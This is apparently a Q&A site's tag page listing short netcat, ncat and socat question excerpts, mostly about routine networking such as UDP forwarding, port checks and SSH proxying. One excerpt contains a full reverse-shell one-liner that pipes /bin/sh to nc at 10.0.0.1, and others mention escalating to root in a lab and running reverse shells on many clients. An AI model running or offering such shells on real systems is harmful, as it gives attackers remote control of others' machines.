Questions tagged [netcat]
Netcat is a featured networking utility which reads and writes data across network connections, using the TCP/IP protocol.
177
questions
1
vote
0answers
21 views
UDP to Serial port
I look for some solution for connect serial/UART port by UDP connection to another PC.
Now I use socat and have connection , but with lost packages, and slow transfer.
Can I use netcat for this, maybe ...
0
votes
0answers
22 views
Udp punchhole between two instances behind two different cloud NAT on GCP
Hi I'm trying to achieve UDP punchhole concept between two compute instances (on different networks with no public IP) behind two different cloud NATs for their respective networks. It seems that in ...
0
votes
0answers
10 views
Scanning a range of ports with Ncat?
I'm aware that Nmap is the obvious choice for this task, however I would still like to know if it's possible to scan a range of ports with Ncat.
I see that I'm able to scan one port, but with a range ...
0
votes
0answers
22 views
transfer file at iperf bandwidth/throughput
I need to transfer a file between 2 servers, the output of iperf is:
TCP window size: 85.0 KByte (default)
------------------------------------------------------------
[ 3] local X.X.X.X port 58986 ...
0
votes
0answers
31 views
Netcat on MacOS failing with simple commands
I'n trying to follow a tutorial here.
As an example we can say that we need a friend of ours to help us with something on our work system(Windows). To be able to receive a connection from us first ...
1
vote
0answers
28 views
'socat' not displaying incoming UDP packets, but Wireshark does
The link is an image of a Wireshark dump of an incoming 60-byte Ethernet frame which contains a UDP packet. The packet payload is the single word 'hello' (sorry, I don't have enough rep to paste the ...
0
votes
1answer
37 views
What does `Accept-Encoding: gzip,deflate` mean?
Can someone explain what it means when I see Accept-Encoding: gzip,deflate when listening with ncat?
Does it mean the body is compressed? And if so, how can I decompress it?
$ nc -lnvp 4000
Ncat: ...
0
votes
1answer
60 views
Alternative for “nc -z localhost 3300” for windows [netcat]
I have a sh that is meant to run in linux.
But im using windows, and I must be able to run it in windows
Theres a piece of code that does the following
while ! nc -z localhost 3300; do
echo "...
0
votes
0answers
46 views
All traffic on port 5060 gets lost in whole network
I am having issues forwarding port 5060 in my firewall/router to a FreeSWITCH server.
Our firewall/router is an Uniquiti Edge Router X. The server's local IP is 10.0.0.216, the router's 10.0.0.1. ...
0
votes
0answers
28 views
How do I color/format logs and also rotate without one action getting in the way of each other?
I have the following:
A shell script which gets executed via screen and a screenlog gets generated using the flag -L. This shell script is just ncat (better version of netcat) listening on a specific ...
0
votes
1answer
233 views
netcat-openbsd in RHEL/Centos (RPM)
There are two versions of netcat (nc) utility: netcat-openbsd and GNU netcat. For example, in some distributives like Debian or Arch user could choose which version of the package he/she would like to ...
1
vote
1answer
385 views
Is there a built-in way to proxy SSH through socks5?
I have a Socks5 proxy that uses username/password authentication. I can use it with SSH using NCAT in the ProxyCommand: ssh -o ProxyCommand="ncat --proxy-type socks5 --proxy-auth username:...
0
votes
0answers
33 views
Netcat listner is automatically terminating the session
I'm in a virtual environment set up by the school, in which I'm supposed to change a user to root.
I have a program that runs each 5 minutes and added this code to the program. The code is provided ...
0
votes
0answers
38 views
sent 1, rcvd 0 , unable to listen via netcat
I am using this reverse shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
This works and I am sure that the computer supports it too.
When I am listening ...
0
votes
1answer
95 views
Netcat stops listening after Recv-Q fills up
I am running Netcat on an Ubuntu 18.04.3 LTS server, to listen on port 469. This server gets frequent TCP requests from other machines to port 469, which I use to monitor the server for uptime. I ...
1
vote
1answer
401 views
UDP connection i/o timeout while port is reachable
on one server we encountered an issue where all kinds of UDP connections are failing. The same application and tests work on other servers with the same OS and similar setup.
nc -vz -u 83.61.**.** ...
0
votes
1answer
129 views
How to check the udp port is accessible in an Ubuntu machine which is protected by a firewall
We were trying to install "Big blue button" in an Ubuntu server with a firewall. For installation, we need these UDP ports ("16384-32768") should be opened in the firewall. But we don't know whether ...
0
votes
1answer
575 views
How to capture UDP traffic so it can be piped to grep
I'm trying to capture UDP traffic which is being sent as StatsD metrics (on port 8125).
The most simple approach I tried is to run nc -ul 8125 which prints the metrics to the terminal...but they are ...
0
votes
1answer
46 views
Spawn background process from ncat
How can ncat be used to spawn a process in the background? For example:
ncat -lp 2342 -c "setsid sleep 5 &"
As I understand, setsid and & will make the process run in the background but ncat ...
3
votes
2answers
827 views
Routing TCP packets to a local UDP port
A third party server sends UDP packets to an EC2 instance we've set up and I'm trying to route those packets to my local machine.
The client sends these packets to port 8975
To that effect I first ...
0
votes
0answers
224 views
Simple netcat Responder
Trying to create a simple netcat responder:
The "server" would be:
$ while true; do { ./secret.sh; } | sudo netcat -k -q -1 -l 123; done
secret.sh is:
#!/bin/bash
read line
if [ "$line" == "open" ]...
1
vote
1answer
62 views
nc prints (?). What does (?) mean?
When I use nc to test a port as followed, it prints out a result with '(?)' in it. I've looked up the man page and also online but I can't find an answer. Can someone please shed some lights? Thanks.
...
1
vote
0answers
105 views
Netcat gives different responses based on IP I give it
I'm currently trying to diagnose why my build of Libreoffice online keeps giving '504 Timed Out' errors on my nginx reverse proxy. I shutdown the entire daemon, hoping to see an error along the lines ...
2
votes
1answer
4k views
Connection refused from localhost to localhost
I started a tcp listener using nc -l 127.0.0.1 900 and then attempted to connect to it using nc 127.0.0.1 900 when I got the connection refused error. The same happens when connecting using telnet. ...
2
votes
1answer
739 views
Why am I only achieving 2.5Gbps over a 10Gbe direct connection between 2 machines?
I have 2 machines directly connected to each other with a 7 foot Cat6a ethernet cable (included in the box of the NIC cards). The PCIe x4 NIC I bought and in both machines is this: https://www.amazon....
2
votes
3answers
1k views
Achieving very fast (300+MB/sec) file transfer on Linux
I'm working with high end hardware, however I'm hitting cpu bottlenecks in all situations when attempting to move large amounts of data.
Specifically, I'm moving large virtual machine image (VHD) ...
2
votes
1answer
233 views
SSH tunnel and reverse SSH tunnel at the same time on the same port
I have a computer A, a server B (Azure VM) and a second computer C. I want to connect from A to C through the server B.
Setup:
A: ssh -i location_of_private_key -L 12000:public_IP_of_B:20000 user@...
1
vote
2answers
5k views
netcat host not found when listening
i am trying to connect two hosts using netcat. i have downloaded netcat for windows, but when i run the command nc -L -vv -p 4444, it fails with the error nc: forward host lookup failed: h_errno 11001:...
0
votes
1answer
648 views
Send data recieved by netcat to script
I'm trying to take data I receive over a netcat connection to a script that will send each line to another server via a curl post command.
Heres where I am.
This works: nc -lk 9272 > test.log
...
0
votes
1answer
183 views
EHLO returns nothing with postfix initialized working on port 25
So I reinstalled postfix several times because of different issues.
Turns out it starts well and seems to be working on port 25:
I make netstat -nltp | grep 25
tcp 0 0 127.0.0.1:25 ...
1
vote
1answer
1k views
Netcat connection refused apache2 localhost
I have installed webserver (apache) but I can't seem to make netcat connect to it.
$ curl localhost:80 | head
% Total % Received % Xferd Average Speed Time Time Time Current
...
1
vote
2answers
4k views
Connect to an SSH server over an HTTP proxy using plink and netcat
I'm trying to connect to an SSH server from a Windows PC behind a corporate HTTP proxy.
The trick works under Debian using OpenSSH client with ncat from the nmap package, but it does not work under ...
0
votes
0answers
63 views
Restore linux partition from remote server
I have a running server with /dev/sda1 partition and a remote server with /dev/sda1 partion also.
I want to clone the partition of running server to remote server.
I want to try this:
On remote ...
4
votes
1answer
3k views
How can I set the source port for an SSH command-line client? [closed]
I am creating a web challenge, and due to a firewall, I need to be able to bind an SSH client source socket to a fixed port to pass its traffic through the firewall.
Is there any way to do this using ...
0
votes
0answers
446 views
Link VPS Dedicated IP / Port to Internal Tinc VPN IP Port
After a couple of days research I've completely rewritten my question to make it easier to answer, and hopefully clearer of what I'm looking for.
I have an Ubuntu 18.04 VPS server with a dedicated ...
0
votes
0answers
252 views
Can I use netcat for centralized logging?
I have multiple Apache servers and I want to centralize their access logs. I wonder if I can use named pipes and netcat for that, however I am afraid that 2 things may happen:
The central log will be ...
1
vote
0answers
892 views
How to send binary data in netcat to an already established connection?
I can do the following to send binary data in netcat:
echo -e '\x80' | nc host port
But I don't want to do it like this, what I want is to connect to a server:
nc 192.168.1.115 12345
And then send ...
0
votes
1answer
10k views
How to connect netcat from one local computer to another local computer
I want to connect two computers using netcat that are on the different subnets
The problem is when I start Netcat to listen on one computer, I am unable to connect to it from another computer which ...
1
vote
0answers
253 views
Some clients time out when making a simple TCP proxy with netcat
I have made a simple TCP proxy that rewrtites requests using netcat like so:
nc -q -1 -k -l 8080 < myfifo | sed -u 's/something/something_else/' | nc -q -1 example.com 80 > myfifo
However, ...
1
vote
1answer
187 views
How to write and read from the same file using two netcats?
I'd like to use a file as a temporary buffer to connect two netcat processes. I need to use a buffer because data is sent and requested on each end at different intervals. I want to use a file instead ...
0
votes
1answer
5k views
Check if HTTP Methods have been Allowed and Enabled on Localhost
I’m running Apache/2.2.15 (Unix) on a RHEL system. My LAMP is running on localhost.
I want to check if the HTTP methods:
POST
GET
PUT
DELETE
are allowed and enabled.
I’ve read that they can be ...
0
votes
1answer
2k views
openVPN server doesn't listen to client through netcat
I am working on a ROS project for which is required a VPN connection between a client (my pc in this case) and the server (aws server).
I used openVPN to create a tun0 interface through which both ...
1
vote
1answer
446 views
ncat on UDP protocol (RH 7)
I'm resuming the discussion "Check if remote host/port is open - Can't use GNU Netcat nor NMap - RHEL 7".
I can't obtain the correct result because on my rh versions (5.6 and 7.1) there isn't the path ...
1
vote
0answers
729 views
Socat interacting with specific host (reverse shell) from mutiple clients/connections
I have a threaded c/c++ application that gives a pty reverse shell installed on multiple linux clients they all connect back to same server/port
now I need to find a reliable method to interact with a ...
0
votes
1answer
971 views
How can I tunnel multicast traffic?
I am trying to receive multicast on 1 machine, forward it to another machine, and then replay it on that machine.
test_env: the machine which has access to the original multicast stream
mcast_sender: ...
-3
votes
1answer
544 views
Why I can only send 3 row via netcat on UDP port?
I am new to this command I am sending a file data on UDP 9415 port .
--> I have file which has 1000 rows
--> I am firing here IP is my destination IP
cat test1 | netcat -u 172.x.x.x 9514
--> Now ...
1
vote
0answers
760 views
How can I test network connectivity to a Keberos KDC (UDP/88)
How can I test network connectivity to a Keberos KDC (UDP/88)? Does Kerberos have a standard way to communicate that gives any output?
HTTP for example,
nc -v google.com 80
GET
will dump the ...
3
votes
1answer
4k views
How can I capture the exit status of `nc` when run from `timeout`?
I want to test connectivity to an arbitrary host using netcat. It seems the -w argument does not actually close the connection after 5 seconds. (This is on Ubuntu 14.04 and netcat-traditional 1.10-40)....
0
votes
1answer
70 views
iptables rule between networks is not working
I have a scenario where a router connects 2 networks, so I have this machines with this interfaces:
The virtual machine 1 that work as a router:
eth1: 193.136.200.254
eth2: 192.168.10.254
eth3: 24....
0
votes
1answer
58 views
liptables ssh rule is not working
I have 2 virtual machines using virtual box. One virtual machine work as a router. Im trying to drop all communications entering the router machine, excpet for some services. The interfaces ips that I ...
